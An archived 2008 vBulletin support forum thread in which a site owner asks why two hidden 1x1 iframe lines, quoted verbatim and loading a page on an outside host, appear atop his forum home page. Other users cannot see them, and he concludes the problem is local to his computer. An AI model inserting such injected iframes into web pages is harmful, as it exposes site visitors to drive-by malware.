PDA

View Full Version : files hacked?

ravelinks
Fri 4th Apr '08, 4:29am
Hi,

For some odd reason, the two lines of code below were inserted into one or more of my vbulletin files.

<span style="visibility: hidden"><iframe src="http://www.radiodeejay.hr/forum/lang/inexed.htm" width=1 height=1></iframe></span>
<span style="visibility: hidden"><iframe src="http://www.radiodeejay.hr/forum/lang/inexed.htm" width=1 height=1></iframe></span>I never inserted that code in there, and it is slowing down the loading of the home page because it is trying to load up that link.

I checked the forumhome template, and could not find it there. I checked the headinclude template, and it's also not there. I tried searching the templates for the above code, but could not find it.

Forum home is HERE (http://www.ravelinks.com/forums). You can see the first two lines by viewing the page source.

Any idea which file was modified/hacked into? I need to strip those two lines of malicious code out. Thanks
Trevster
Fri 4th Apr '08, 6:20am
I don' see it in the source of your forum home page. Have you removed it or have you got another page it's appearing in within the forums?
ravelinks
Fri 4th Apr '08, 7:05am
I don' see it in the source of your forum home page. Have you removed it or have you got another page it's appearing in within the forums?

you sure u not seeing it, because I loaded the forum home with both firefox and with internet explorer. I examined the source code (firefox - right click and View page source", or internet explorer Menu View and select Source), and there you see at the top.

Shouldnt the page begin with <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> ?


This coding only shows up when the forum home page is displayed, but not on forumdisplay or showthread, etc.
SNN
Fri 4th Apr '08, 8:37am
I don't even see it on forumhome.
It does start with the doctype. But it sure does take a while to load.
Trevster
Fri 4th Apr '08, 9:17am
Attached is the source code I'm seeing up to the end of your welcome message...
ravelinks
Fri 4th Apr '08, 10:05am
hmmm, I guess it must be something isolated to my local computer that Im using. Thanks for checking again :)